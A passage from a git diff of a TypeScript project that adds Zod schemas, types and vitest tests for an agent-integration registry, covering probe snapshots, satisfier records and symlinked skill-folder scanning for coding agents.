z.record(z.string(), z.union([z.string(), z.number(), z.boolean()])).optional(),+});+export type GuidanceRef = z.infer<typeof GuidanceRefSchema>;++export const UNPROBEABLE_REASONS = [+ 'no-readable-state',+ 'different-machine',+ 'no-programmatic-path',+ 'session-scoped',+] as const;++export const ProbeDeclarationSchema = z.discriminatedUnion('mode', [+ z.object({+ mode: z.literal('probeable'),+ strictness: z.array(ProbeStrictnessSchema).min(1),+ }),+ z.object({+ mode: z.literal('unprobeable'),+ reason: z.enum(UNPROBEABLE_REASONS),+ note: z.string().optional(),+ }),+]);+export type ProbeDeclaration = z.infer<typeof ProbeDeclarationSchema>;++export const AUDIENCE_CLASSES = ['this-project', 'this-user', 'this-machine'] as const;+export const AudienceClassSchema = z.enum(AUDIENCE_CLASSES);+export type AudienceClass = z.infer<typeof AudienceClassSchema>;++export const INSTALLABILITY_KINDS = ['installable', 'user-completes', 'not-installable'] as const;+export const InstallabilitySchema = z.enum(INSTALLABILITY_KINDS);+export type Installability = z.infer<typeof InstallabilitySchema>;++export const NOT_INSTALLABLE_REASONS = [+ 'no-non-interactive-verb',+ 'session-scoped',+ 'no-surface',+] as const;++export const SatisfierRecordSchema = z.object({+ id: SatisfierIdSchema,+ agent: AgentIdSchema,+ piece: IntegrationPieceSchema,+ scope: SatisfierScopeSchema,+ kind: SatisfierKindSchema,+ pathId: PathIdSchema.optional(),+ sharedWith: z.array(AgentIdSchema).default([]),+ prerequisites: z.array(SatisfierIdSchema).default([]),+ consentClass: ConsentClassSchema.default('none'),+ probe: ProbeDeclarationSchema,+ attestation: AttestationSchema,+ audience: AudienceClassSchema,+ installability: InstallabilitySchema.default('installable'),+ notInstallableReason: z.enum(NOT_INSTALLABLE_REASONS).optional(),+ preferred: z.boolean().default(false),+ guidance: GuidanceRefSchema.optional(),+ followup: GuidanceRefSchema.optional(),+ troubleshooting: GuidanceRefSchema.optional(),+});+export type SatisfierRecord = z.infer<typeof SatisfierRecordSchema>;++export const RequirementRecordSchema = z.object({+ piece: IntegrationPieceSchema,+ level: RequirementLevelSchema,+ satisfiedByAny: z.array(SatisfierIdSchema),+});+export type RequirementRecord = z.infer<typeof RequirementRecordSchema>;++export const VERIFIED_POSTURES = ['asks', 'self-managed', 'autonomous'] as const;+export type VerifiedPosture = (typeof VERIFIED_POSTURES)[number];++export const AcpFacetSchema = z.object({+ acpAgentId: z.string().min(1),+ featuredOrder: z.number().int().nonnegative().nullable(),+ harnessCli: AcpHarnessCliIdSchema.nullable(),+ harnessReadsEditorConfig: EditorIdSchema.nullable(),+ harnessReadsEditorConfigAttestation: AttestationSchema,+ verifiedPosture: z.enum(VERIFIED_POSTURES).nullable(),+});+export type AcpFacet = z.infer<typeof AcpFacetSchema>;++export const TerminalFacetSchema = z.object({+ cliId: z.string().min(1),+});+export type TerminalFacet = z.infer<typeof TerminalFacetSchema>;++export const ExternalFacetSchema = z.object({+ targetId: HandoffTargetIdSchema,+ knownOrder: z.number().int().nonnegative(),+ visible: z.boolean(),+ displayName: z.string().min(1),+ appBrandName: z.string().min(1).optional(),+ schemes: z.array(z.string().min(1)),+ installUrl: z.string().min(1),+ tagline: z.string().min(1).optional(),+});+export type ExternalFacet = z.infer<typeof ExternalFacetSchema>;++export const ModeRecordSchema = z.object({+ requirements: z.array(RequirementRecordSchema),+ caveats: z.array(GuidanceRefSchema).default([]),+});+export type ModeRecord = z.infer<typeof ModeRecordSchema>;++export const AgentRecordSchema = z.object({+ id: AgentIdSchema,+ setupDocSlug: z.string().min(1).nullable(),+ offerOnlyWhenDetected: z.boolean().default(false),+ offersConnectionRow: z.boolean().default(false),+ detectionSources: z.array(z.string().min(1)).default([]),+ satisfiers: z.array(SatisfierRecordSchema),+ modes: z.partialRecord(AgentModeSchema, ModeRecordSchema),+ acp: AcpFacetSchema.optional(),+ terminal: TerminalFacetSchema.optional(),+ external: ExternalFacetSchema.optional(),+});+export type AgentRecord = z.infer<typeof AgentRecordSchema>;++export const CapabilityRecordSchema = z.object({+ id: z.string().min(1),+ requiredStrictness: ProbeStrictnessSchema,+ scope: SatisfierScopeSchema.optional(),+ piece: IntegrationPieceSchema,+ /**+ * STOP: set this on any grant that reads more than one scope. MCP+ * allow-lists match by server NAME, so a scope carrying somebody else's+ * server under OK's name can shadow a legitimate entry in another scope —+ * an either-scope test alone would grant on the strength of the good entry+ * while the bad one is what actually runs. A foreign entry in ANY scope the+ * grant reads revokes it.+ */+ revokedByForeignEntry: z.boolean().default(false),+ guidance: GuidanceRefSchema.optional(),+});+export type CapabilityRecord = z.infer<typeof CapabilityRecordSchema>;diff --git a/packages/core/src/agent-registry/snapshot.test.ts b/packages/core/src/agent-registry/snapshot.test.tsnew file mode 100644index 000000000..f5f4f5374--- /dev/null+++ b/packages/core/src/agent-registry/snapshot.test.ts@@ -0,0 +1,101 @@+import { describe, expect, it } from 'vitest';+import { satisfierId } from './ids.ts';+import {+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ ENV_TIERS,+ isAgentDetected,+ type ProbeSnapshot,+ readSatisfierProbe,+} from './snapshot.ts';++const id = satisfierId({ agent: 'claude', piece: 'mcp', scope: 'project', kind: 'config-entry' });++const loose = (value: unknown) => value as ProbeSnapshot;++describe('reading one satisfier out of a snapshot', () => {+ it('returns the answer a host gave', () => {+ expect(+ readSatisfierProbe({ env: 'desktop', satisfiers: { [id]: { state: 'satisfied' } } }, id),+ ).toEqual({ state: 'satisfied' });+ });++ it('keeps the predicates that answered', () => {+ expect(+ readSatisfierProbe(+ {+ env: 'desktop',+ satisfiers: { [id]: { state: 'satisfied', strictness: ['pre-approval-exact'] } },+ },+ id,+ ),+ ).toEqual({ state: 'satisfied', strictness: ['pre-approval-exact'] });+ });++ it('reports no answer for a key the host left out', () => {+ expect(readSatisfierProbe(EMPTY_PROBE_SNAPSHOT, id)).toBeUndefined();+ });++ it('reports no answer rather than throwing on anything unusable', () => {+ const unusable = [+ undefined,+ null,+ 'a string',+ 42,+ {},+ { satisfiers: null },+ { satisfiers: 'nope' },+ { satisfiers: { [id]: null } },+ { satisfiers: { [id]: 'satisfied' } },+ { satisfiers: { [id]: {} } },+ { satisfiers: { [id]: { state: 42 } } },+ { satisfiers: { [id]: { state: '' } } },+ ];+ for (const value of unusable) {+ expect(readSatisfierProbe(loose(value), id)).toBeUndefined();+ }+ });++ it('drops a strictness list that did not survive the trip intact', () => {+ expect(+ readSatisfierProbe(+ loose({ satisfiers: { [id]: { state: 'satisfied', strictness: 7 } } }),+ id,+ ),+ ).toEqual({ state: 'satisfied' });+ expect(+ readSatisfierProbe(+ loose({ satisfiers: { [id]: { state: 'satisfied', strictness: ['ok', 5, null] } } }),+ id,+ ),+ ).toEqual({ state: 'satisfied', strictness: ['ok'] });+ });+});++describe('detection', () => {+ it('claims nothing when nobody looked', () => {+ expect(EMPTY_DETECTION_SNAPSHOT.probed).toBe(false);+ expect(isAgentDetected(EMPTY_DETECTION_SNAPSHOT, 'claude')).toBe(false);+ });++ it('separates a probe that ran and found nothing from one that never ran', () => {+ expect({ detected: [], probed: true }.probed).not.toBe(EMPTY_DETECTION_SNAPSHOT.probed);+ });++ it('answers for an agent a host proved present', () => {+ expect(isAgentDetected({ detected: ['claude', 'codex'], probed: true }, 'codex')).toBe(true);+ expect(isAgentDetected({ detected: ['claude'], probed: true }, 'codex')).toBe(false);+ });++ it('claims nothing on a malformed snapshot', () => {+ for (const value of [undefined, null, {}, { detected: 'claude' }]) {+ expect(isAgentDetected(value as never, 'claude')).toBe(false);+ }+ });+});++describe('environment tiers', () => {+ it('names only tiers an adapter can actually be in', () => {+ expect([...ENV_TIERS]).toEqual(['desktop', 'local-web', 'remote-web']);+ });+});diff --git a/packages/core/src/agent-registry/snapshot.ts b/packages/core/src/agent-registry/snapshot.tsnew file mode 100644index 000000000..c35922de2--- /dev/null+++ b/packages/core/src/agent-registry/snapshot.ts@@ -0,0 +1,76 @@+import { type AgentId, isAgentId, type SatisfierId } from './ids.ts';+import type { ProbeStrictness, SurfaceState } from './vocabulary.ts';++export const ENV_TIERS = ['desktop', 'local-web', 'remote-web'] as const;+export type EnvTier = (typeof ENV_TIERS)[number];++export interface SatisfierProbe {+ readonly state: SurfaceState;+ readonly strictness?: readonly ProbeStrictness[];+ readonly sharedWith?: readonly AgentId[];+ readonly path?: string;+}++export interface ProbeSnapshot {+ readonly env: EnvTier;+ readonly satisfiers: Readonly<Partial<Record<string, SatisfierProbe>>>;+}++export interface DetectionSnapshot {+ readonly detected: readonly AgentId[];+ readonly probed: boolean;+}++export interface HostSnapshot {+ readonly probes: ProbeSnapshot;+ readonly detection: DetectionSnapshot;+}++export function emptyProbeSnapshot(env: EnvTier): ProbeSnapshot {+ return { env, satisfiers: {} };+}++export const EMPTY_PROBE_SNAPSHOT: ProbeSnapshot = emptyProbeSnapshot('desktop');++export const EMPTY_DETECTION_SNAPSHOT: DetectionSnapshot = { detected: [], probed: false };++function isRecord(value: unknown): value is Record<string, unknown> {+ return typeof value === 'object' && value !== null;+}++export function readSatisfierProbe(+ snapshot: ProbeSnapshot | null | undefined,+ id: SatisfierId | string,+): SatisfierProbe | undefined {+ if (!isRecord(snapshot)) return undefined;+ const { satisfiers } = snapshot as { satisfiers?: unknown };+ if (!isRecord(satisfiers)) return undefined;+ const entry = satisfiers[id];+ if (!isRecord(entry)) return undefined;+ const { state, strictness, sharedWith } = entry as {+ state?: unknown;+ strictness?: unknown;+ sharedWith?: unknown;+ };+ if (typeof state !== 'string' || state.length === 0) return undefined;+ const keys = Array.isArray(strictness)+ ? strictness.filter((key): key is ProbeStrictness => typeof key === 'string')+ : undefined;+ const shared = Array.isArray(sharedWith)+ ? sharedWith.filter((id): id is AgentId => typeof id === 'string' && isAgentId(id))+ : undefined;+ return {+ state,+ ...(keys === undefined ? {} : { strictness: keys }),+ ...(shared === undefined || shared.length === 0 ? {} : { sharedWith: shared }),+ };+}++export function isAgentDetected(+ snapshot: DetectionSnapshot | null | undefined,+ id: AgentId,+): boolean {+ if (!isRecord(snapshot)) return false;+ const { detected } = snapshot as { detected?: unknown };+ return Array.isArray(detected) && detected.includes(id);+}diff --git a/packages/core/src/agent-registry/vocabulary.ts b/packages/core/src/agent-registry/vocabulary.tsnew file mode 100644index 000000000..0f21887e8--- /dev/null+++ b/packages/core/src/agent-registry/vocabulary.ts@@ -0,0 +1,84 @@+import { z } from 'zod';++export const SATISFIER_KINDS = [+ 'config-entry',+ 'managed-file',+ 'skill-bundle-copy',+ 'central-store-copy',+ 'session-injection',+] as const;++export const SatisfierKindSchema = z.enum(SATISFIER_KINDS);+export type SatisfierKind = z.infer<typeof SatisfierKindSchema>;++export const DISK_BACKED_SATISFIER_KINDS: readonly SatisfierKind[] = SATISFIER_KINDS.filter(+ (kind) => kind !== 'session-injection',+);++export const KNOWN_SURFACE_STATES = [+ 'satisfied',+ 'present-consent-unknown',+ 'absent',+ 'foreign',+ 'foreign-replaceable',+ 'drifted',+ 'excluded',+ 'structural-na',+ 'undetected',+ 'unprobeable',+ 'unprobed',+] as const;++export type KnownSurfaceState = (typeof KNOWN_SURFACE_STATES)[number];++export type SurfaceState = KnownSurfaceState | (string & {});++export const SurfaceStateSchema: z.ZodType<SurfaceState> = z.union([+ z.enum(KNOWN_SURFACE_STATES),+ z.string(),+]);++export function isKnownSurfaceState(state: SurfaceState): state is KnownSurfaceState {+ return (KNOWN_SURFACE_STATES as readonly string[]).includes(state);+}++export const PROBE_STRICTNESS_KEYS = [+ 'reclaim-permissive',+ 'pre-approval-exact',+ 'injection-functional',+] as const;++export const ProbeStrictnessSchema = z.enum(PROBE_STRICTNESS_KEYS);+export type ProbeStrictness = z.infer<typeof ProbeStrictnessSchema>;++export const CONSENT_CLASSES = ['none', 'approve-once', 'enable-manually', 'trust-gated'] as const;++export const ConsentClassSchema = z.enum(CONSENT_CLASSES);+export type ConsentClass = z.infer<typeof ConsentClassSchema>;++export const APPLY_ACTIONS = [+ 'written',+ 'overwritten',+ 'skipped-unsupported',+ 'skipped-prerequisite',+ 'declined',+ 'failed',+ 'removed',+ 'excluded',+ 'unchanged',+ 'handed-off',+ 'skipped-foreign',+ 'skipped-missing',+ 'no-op',+] as const;++export const ApplyActionSchema = z.enum(APPLY_ACTIONS);+export type ApplyAction = z.infer<typeof ApplyActionSchema>;++export const EXCEPTION_LEVELS = ['info', 'warning', 'error'] as const;+export const ExceptionLevelSchema = z.enum(EXCEPTION_LEVELS);+export type ExceptionLevel = z.infer<typeof ExceptionLevelSchema>;++export const REQUIREMENT_LEVELS = ['required', 'recommended'] as const;+export const RequirementLevelSchema = z.enum(REQUIREMENT_LEVELS);+export type RequirementLevel = z.infer<typeof RequirementLevelSchema>;diff --git a/packages/core/src/constants/editors.ts b/packages/core/src/constants/editors.tsindex 6073d0436..e1d1ff51c 100644--- a/packages/core/src/constants/editors.ts+++ b/packages/core/src/constants/editors.ts@@ -93,12 +93,10 @@ export const USER_SKILL_EDITOR_IDS = ALL_EDITOR_IDS.filter(export const RESERVED_PROJECT_SKILL_NAME = 'open-knowledge';-export const PROJECT_SKILL_PROJECTION_IGNORE_PATHS: readonly string[] = ALL_EDITOR_IDS.flatMap(- (id) => {- const root = EDITOR_PROJECT_SKILL_ROOT[id];- return root === null ? [] : [`${root}/${RESERVED_PROJECT_SKILL_NAME}/`];- },-);+export const PROJECT_SKILL_PROJECTION_PATHS: readonly string[] = ALL_EDITOR_IDS.flatMap((id) => {+ const root = EDITOR_PROJECT_SKILL_ROOT[id];+ return root === null ? [] : [`${root}/${RESERVED_PROJECT_SKILL_NAME}/`];+});export const HOSTS_WITH_USER_SKILL_DIR: ReadonlyArray<{readonly hostDir: string;diff --git a/packages/core/src/constants/skills.ts b/packages/core/src/constants/skills.tsindex dfcebaded..f90fd3d2c 100644--- a/packages/core/src/constants/skills.ts+++ b/packages/core/src/constants/skills.ts@@ -36,10 +36,6 @@ function pathIsOurRepo(pathname: string): boolean {);}-export function projectSkillDecisionKey(projectDir: string): string {- return `project-skill:${projectDir}`;-}-export const RENAMED_PACK_SKILLS: Readonly<Record<string, string>> = {'open-knowledge-pack-plain-notes': 'note-taking','open-knowledge-pack-worldbuilding': 'worldbuilding',diff --git a/packages/core/src/desktop-bridge.ts b/packages/core/src/desktop-bridge.tsindex 2ef4eedff..f48df8bb6 100644--- a/packages/core/src/desktop-bridge.ts+++ b/packages/core/src/desktop-bridge.ts@@ -1,3 +1,5 @@+import type { ApplyReport } from './agent-registry/apply.ts';+import type { HostSnapshot } from './agent-registry/snapshot.ts';import type { CreateNewBannerKind } from './constants/create-new-banner.ts';import type { EditorId } from './constants/editors.ts';import type { OkFolderState } from './constants/folder-state.ts';@@ -408,7 +410,7 @@ export type OkIntegrationsSetResult =export type OkProjectIntegrationsFollowUp =| 'approve-once'| 'enable-manually'- | 'auto-connect'+ | 'trust-gated'| 'none';export interface OkProjectIntegrationsStatus {@@ -445,6 +447,29 @@ export type OkProjectIntegrationsSetResult =| { readonly ok: true; readonly status: OkProjectIntegrationsStatus }| { readonly ok: false; readonly error: string; readonly status: OkProjectIntegrationsStatus };+export interface OkAgentIntegrationsIntent {+ readonly satisfierId: string;+ readonly desired: 'present' | 'absent';+}++export interface OkAgentIntegrationsApplyRequest {+ readonly intents: readonly OkAgentIntegrationsIntent[];+}++export type OkAgentIntegrationsApplyResult =+ | {+ readonly ok: true;+ readonly report: ApplyReport;+ readonly snapshot: HostSnapshot;+ }+ | {+ readonly ok: false;+ readonly error: string;+ readonly unavailable?: boolean;+ readonly report: ApplyReport;+ readonly snapshot: HostSnapshot;+ };+export type OkOnboardingWarningKind =| 'root'| 'home'@@ -465,6 +490,41 @@ export interface OkOnboardingShowPayload {readonly warnings: readonly { readonly kind: OkOnboardingWarningKind }[];}+export interface OkDeepLinkPayload {+ doc: string;+ kind: 'doc' | 'folder';+ branch?: string | null;+ multiCandidate?: boolean;+ targetMissing?: boolean;+ repositoryPath?: string;+ contentRootDepth?: number;+}++export type OkOnboardingToastPayload =+ | { readonly kind: 'ancestor-promote'; readonly ancestorPath: string }+ | { readonly kind: 'git-root-promote'; readonly gitRoot: string; readonly pickedPath: string }+ | {+ readonly kind: 'startup-reclaim';+ readonly mcp:+ | { readonly status: 'none' }+ | { readonly status: 'repaired'; readonly editors: readonly string[] }+ | {+ readonly status: 'failed';+ readonly failures: readonly { readonly editor: string; readonly reason?: string }[];+ readonly repaired?: readonly string[];+ };+ readonly path:+ | { readonly status: 'none' }+ | { readonly status: 'installed'; readonly summary: string }+ | { readonly status: 'failed'; readonly summary: string };+ }+ | {+ readonly kind: 'sharing-refused-tracked';+ readonly tracked: readonly string[];+ readonly remediation: string;+ }+ | { readonly kind: 'sharing-no-git'; readonly requestedMode: 'local-only' };+export interface OkOnboardingConfirmRequest {readonly initGit: boolean;readonly contentDir: string;@@ -883,7 +943,12 @@ export type OkPtyNotice =export interface ClaudeReadiness {readonly claude: 'present' | 'not-found' | 'unknown';readonly mcp: 'wired' | 'needs-rewire';+ readonly mcpScopes?: {+ readonly global: boolean;+ readonly project: boolean;+ };readonly mcpPreApprovable?: boolean;+ readonly okToolsAutoApprovable?: boolean;readonly rewireError?: string;}@@ -905,17 +970,7 @@ export interface OkDesktopBridge {onWhatsNewDismissed(cb: (info: { readonly version: string }) => void): OkUnsubscribe;onUpdateStuckHint(cb: (info: OkUpdateStuckHintInfo) => void): OkUnsubscribe;onUpdateManualCheck(cb: (info: OkUpdateManualCheckInfo) => void): OkUnsubscribe;- onDeepLink(- cb: (evt: {- doc: string;- kind: 'doc' | 'folder';- branch?: string | null;- multiCandidate?: boolean;- targetMissing?: boolean;- repositoryPath?: string;- contentRootDepth?: number;- }) => void,- ): OkUnsubscribe;+ onDeepLink(cb: (evt: OkDeepLinkPayload) => void): OkUnsubscribe;onShareReceived(cb: (payload: OkShareReceivedPayload) => void): OkUnsubscribe;onServerVersionDrift(cb: (info: OkServerVersionDriftInfo) => void): OkUnsubscribe;@@ -1165,6 +1220,10 @@ export interface OkDesktopBridge {setComponent(request: OkProjectIntegrationsSetRequest): Promise<OkProjectIntegrationsSetResult>;};+ agentIntegrations: {+ apply(request: OkAgentIntegrationsApplyRequest): Promise<OkAgentIntegrationsApplyResult>;+ };+remoteAccess: {probePort(port: number): Promise<boolean>;};@@ -1175,34 +1234,7 @@ export interface OkDesktopBridge {confirm(request: OkOnboardingConfirmRequest): Promise<OkOnboardingResult>;cancel(): Promise<OkOnboardingResult>;probeContent(request: OkOnboardingProbeContentRequest): Promise<OkOnboardingProbeContentResult>;- onToast(- cb: (- payload:- | { readonly kind: 'ancestor-promote'; readonly ancestorPath: string }- | {- readonly kind: 'git-root-promote';- readonly gitRoot: string;- readonly pickedPath: string;- }- | {- readonly kind: 'startup-reclaim';- readonly mcp:- | { readonly status: 'none' }- | { readonly status: 'repaired'; readonly editors: readonly string[] }- | { readonly status: 'failed'; readonly editors: readonly string[] };- readonly path:- | { readonly status: 'none' }- | { readonly status: 'installed'; readonly summary: string }- | { readonly status: 'failed'; readonly summary: string };- }- | {- readonly kind: 'sharing-refused-tracked';- readonly tracked: readonly string[];- readonly remediation: string;- }- | { readonly kind: 'sharing-no-git'; readonly requestedMode: 'local-only' },- ) => void,- ): OkUnsubscribe;+ onToast(cb: (payload: OkOnboardingToastPayload) => void): OkUnsubscribe;};localOp: {@@ -1253,6 +1285,7 @@ export interface OkDesktopBridge {cols: number;rows: number;launchCommand?: string | TerminalLaunchCommand;+ launchCli?: TerminalCli;}): Promise<OkPtyCreateResult>;input(ptyId: string, data: string): void;resize(ptyId: string, cols: number, rows: number): void;diff --git a/packages/core/src/index.ts b/packages/core/src/index.tsindex 19ff94955..a5ff74960 100644--- a/packages/core/src/index.ts+++ b/packages/core/src/index.ts@@ -1,4 +1,5 @@export { VFileMessage } from 'vfile-message';+export * from './agent-registry/index.ts';// Bridge — observer/CRDT-bridge shared utilities (precedent #14)export {addsBlankLines,@@ -105,6 +106,7 @@ export {toBridgeInvariantLog,tryLineLevelCombine,} from './bridge/index.ts';+export {clampToCodeUnits,isBlankNoteContent,@@ -410,7 +412,7 @@ export {HOSTS_WITH_USER_SKILL_DIR,HUB_READER_EDITORS,PROJECT_SKILL_EDITOR_IDS,- PROJECT_SKILL_PROJECTION_IGNORE_PATHS,+ PROJECT_SKILL_PROJECTION_PATHS,RESERVED_PROJECT_SKILL_NAME,receivesProjectIntegrationWrite,skillRootActivationPath,@@ -501,7 +503,6 @@ export {isSkillRefCandidate,OPENKNOWLEDGE_SKILLS_REPO,PACK_SKILL_PREFIX,- projectSkillDecisionKey,RENAMED_PACK_SKILLS,rewriteSkillRefs,SKILL_REF_RE,@@ -1063,6 +1064,16 @@ export {type AgentEffectEntryWire,AgentEffectsDocSchema,type AgentEffectsDocWire,+ AgentIntegrationsAppliedStepSchema,+ type AgentIntegrationsApplyRequest,+ AgentIntegrationsApplyRequestSchema,+ type AgentIntegrationsApplySuccess,+ AgentIntegrationsApplySuccessSchema,+ AgentIntegrationsIntentSchema,+ type AgentIntegrationsIntentWire,+ AgentIntegrationsPlanConflictSchema,+ AgentIntegrationsProbeSchema,+ AgentIntegrationsSnapshotSchema,type AgentPatchRequest,AgentPatchRequestSchema,type AgentPatchSuccess,diff --git a/packages/core/src/schemas/api/agent-integrations.ts b/packages/core/src/schemas/api/agent-integrations.tsnew file mode 100644index 000000000..f2750e733--- /dev/null+++ b/packages/core/src/schemas/api/agent-integrations.ts@@ -0,0 +1,79 @@+import type { StandardSchemaV1 } from '@standard-schema/spec';+import { z } from 'zod';+import { APPLY_ACTIONS, PROBE_STRICTNESS_KEYS } from '../../agent-registry/vocabulary.ts';+import { agentIdentityFields, summaryField } from './_shared.ts';++export const AgentIntegrationsIntentSchema = z+ .object({+ satisfierId: z.string().min(1),+ desired: z.enum(['present', 'absent']),+ })+ .loose() satisfies StandardSchemaV1;+export type AgentIntegrationsIntentWire = z.infer<typeof AgentIntegrationsIntentSchema>;++export const AgentIntegrationsApplyRequestSchema = z+ .object({+ intents: z.array(AgentIntegrationsIntentSchema),+ ...agentIdentityFields,+ summary: summaryField,+ })+ .loose() satisfies StandardSchemaV1;+export type AgentIntegrationsApplyRequest = z.infer<typeof AgentIntegrationsApplyRequestSchema>;++export const AgentIntegrationsAppliedStepSchema = z+ .object({+ satisfierId: z.string(),+ agentId: z.string(),+ piece: z.string(),+ scope: z.string(),+ kind: z.string(),+ pathId: z.string().optional(),+ desired: z.enum(['present', 'absent']),+ action: z.enum(APPLY_ACTIONS),+ errorId: z.string().optional(),+ })+ .loose() satisfies StandardSchemaV1;++export const AgentIntegrationsPlanConflictSchema = z+ .object({+ kind: z.string(),+ satisfierIds: z.array(z.string()),+ agentIds: z.array(z.string()),+ pathId: z.string().optional(),+ blockedReason: z.string().optional(),+ })+ .loose() satisfies StandardSchemaV1;++export const AgentIntegrationsProbeSchema = z+ .object({+ state: z.string(),+ strictness: z.array(z.enum(PROBE_STRICTNESS_KEYS)).optional(),+ })+ .loose() satisfies StandardSchemaV1;++export const AgentIntegrationsSnapshotSchema = z+ .object({+ probes: z+ .object({+ env: z.enum(['desktop', 'local-web', 'remote-web']),+ satisfiers: z.record(z.string(), AgentIntegrationsProbeSchema),+ })+ .loose(),+ detection: z+ .object({+ detected: z.array(z.string()),+ probed: z.boolean(),+ })+ .loose(),+ })+ .loose() satisfies StandardSchemaV1;++export const AgentIntegrationsApplySuccessSchema = z+ .object({+ actions: z.array(AgentIntegrationsAppliedStepSchema),+ conflicts: z.array(AgentIntegrationsPlanConflictSchema),+ withheld: z.array(z.string()),+ snapshot: AgentIntegrationsSnapshotSchema,+ })+ .loose() satisfies StandardSchemaV1;+export type AgentIntegrationsApplySuccess = z.infer<typeof AgentIntegrationsApplySuccessSchema>;diff --git a/packages/core/src/schemas/api/index.ts b/packages/core/src/schemas/api/index.tsindex cbf6737d5..5ffbbb069 100644--- a/packages/core/src/schemas/api/index.ts+++ b/packages/core/src/schemas/api/index.ts@@ -1,4 +1,5 @@export * from './_envelope.ts';+export * from './agent-integrations.ts';export * from './agent-write.ts';export * from './client-logs.ts';export * from './comments.ts';diff --git a/packages/core/src/skill-folder-state.test.ts b/packages/core/src/skill-folder-state.test.tsnew file mode 100644index 000000000..40f46c6c9--- /dev/null+++ b/packages/core/src/skill-folder-state.test.ts@@ -0,0 +1,80 @@+import { mkdirSync, mkdtempSync, rmSync, symlinkSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';+import { SkillTargetsGetSuccessSchema } from './schemas/api/tags-search.ts';+import { scanSkillFolderStates, skillFolderStateForWire } from './skill-folder-state.ts';++let base: string;++beforeEach(() => {+ base = mkdtempSync(join(tmpdir(), 'ok-skill-folder-state-'));+});+afterEach(() => {+ rmSync(base, { recursive: true, force: true });+});++const roots = [+ { editor: 'claude', root: '.claude/skills' },+ { editor: 'codex', root: '.codex/skills' },+ { editor: 'cursor', root: '.cursor/skills' },+];++describe('scanSkillFolderStates identity', () => {+ test('every state that has a folder carries `real`; `absent` carries none', () => {+ mkdirSync(join(base, '.claude', 'skills'), { recursive: true });+ mkdirSync(join(base, '.codex'), { recursive: true });+ symlinkSync(join(base, '.claude', 'skills'), join(base, '.codex', 'skills'));++ const [claude, codex, cursor] = scanSkillFolderStates(base, roots);+ if (claude?.state === 'absent' || codex?.state === 'absent') throw new Error('setup');+ expect(claude?.real).toBe(codex?.real);+ expect(claude?.target).toBeUndefined();+ expect(codex?.target).toBe('.claude/skills');+ expect(cursor).toEqual({ host: 'cursor', root: '.cursor/skills', state: 'absent' });+ });++ test('roots aliased to different places outside the base do not share a `real`', () => {+ const elsewhere = mkdtempSync(join(tmpdir(), 'ok-elsewhere-'));+ mkdirSync(join(elsewhere, 'a'), { recursive: true });+ mkdirSync(join(elsewhere, 'b'), { recursive: true });+ mkdirSync(join(base, '.codex'), { recursive: true });+ mkdirSync(join(base, '.cursor'), { recursive: true });+ symlinkSync(join(elsewhere, 'a'), join(base, '.codex', 'skills'));+ symlinkSync(join(elsewhere, 'b'), join(base, '.cursor', 'skills'));++ const [, codex, cursor] = scanSkillFolderStates(base, roots);+ if (codex?.state === 'absent' || cursor?.state === 'absent') throw new Error('setup');+ expect(codex?.target).toBeUndefined();+ expect(cursor?.target).toBeUndefined();+ expect(codex?.real).not.toBe(cursor?.real);+ rmSync(elsewhere, { recursive: true, force: true });+ });+});++describe('the wire shape', () => {+ test('drops `real`, and the result satisfies the strict folders schema', () => {+ mkdirSync(join(base, '.claude', 'skills'), { recursive: true });+ mkdirSync(join(base, '.codex'), { recursive: true });+ symlinkSync(join(base, '.claude', 'skills'), join(base, '.codex', 'skills'));++ const scanned = scanSkillFolderStates(base, roots);+ for (const state of scanned) {+ expect(skillFolderStateForWire(state)).not.toHaveProperty('real');+ }++ const parsed = SkillTargetsGetSuccessSchema.safeParse({+ targets: [],+ configured: false,+ folders: scanned.map((f) => ({ ...skillFolderStateForWire(f), scope: 'global' as const })),+ });+ expect(parsed.success).toBe(true);++ const leaked = SkillTargetsGetSuccessSchema.safeParse({+ targets: [],+ configured: false,+ folders: scanned.map((f) => ({ ...f, scope: 'global' as const })),+ });+ expect(leaked.success).toBe(false);+ });+});diff --git a/packages/core/src/skill-folder-state.ts b/packages/core/src/skill-folder-state.tsnew file mode 100644index 000000000..5523ad1c0--- /dev/null+++ b/packages/core/src/skill-folder-state.ts@@ -0,0 +1,70 @@+import { lstatSync, realpathSync } from 'node:fs';+import { isAbsolute, join, relative, sep } from 'node:path';++interface SkillFolderIdentity {+ host: string;+ root: string;+}++export type SkillFolderState =+ | (SkillFolderIdentity & { state: 'absent' })+ | (SkillFolderIdentity & {+ state: 'own' | 'linked' | 'linked-parent';+ real: string;+ target?: string;+ });++export function scanSkillFolderStates(+ base: string,+ roots: ReadonlyArray<{ editor: string; root: string }>,+): SkillFolderState[] {+ let baseReal: string;+ try {+ baseReal = realpathSync(base);+ } catch {+ return roots.map(({ editor, root }) => ({ host: editor, root, state: 'absent' as const }));+ }+ const relTo = (abs: string): string | undefined => {+ const rel = relative(baseReal, abs);+ if (rel === '' || rel.startsWith('..') || isAbsolute(rel)) return undefined;+ return rel.split(sep).join('/');+ };+ return roots.map(({ editor, root }) => {+ const abs = join(base, root);+ let st: ReturnType<typeof lstatSync>;+ try {+ st = lstatSync(abs);+ } catch {+ return { host: editor, root, state: 'absent' as const };+ }+ let real: string;+ try {+ real = realpathSync(abs);+ } catch {+ return { host: editor, root, state: 'absent' as const };+ }+ if (st.isSymbolicLink()) {+ const target = relTo(real);+ return { host: editor, root, state: 'linked' as const, real, ...(target ? { target } : {}) };+ }+ if (real !== join(baseReal, root)) {+ const target = relTo(real);+ return {+ host: editor,+ root,+ state: 'linked-parent' as const,+ real,+ ...(target ? { target } : {}),+ };+ }+ return { host: editor, root, state: 'own' as const, real };+ });+}++export function skillFolderStateForWire(+ state: SkillFolderState,+): SkillFolderIdentity & { state: SkillFolderState['state']; target?: string } {+ if (state.state === 'absent') return { host: state.host, root: state.root, state: state.state };+ const { real: _real, ...wire } = state;+ return wire;+}diff --git a/packages/core/tsdown.config.ts b/packages/core/tsdown.config.tsindex ec94adc19..456f37322 100644--- a/packages/core/tsdown.config.ts+++ b/packages/core/tsdown.config.ts@@ -4,6 +4,7 @@ const entry = {index: 'src/index.ts','git-repository': 'src/git-repository.ts','shadow-repo-layout': 'src/shadow-repo-layout.ts',+ 'skill-folder-state': 'src/skill-folder-state.ts',server: 'src/server.ts',keepalive: 'src/keepalive/keepalive.ts','helper-bundle': 'src/helper-bundle.ts',diff --git 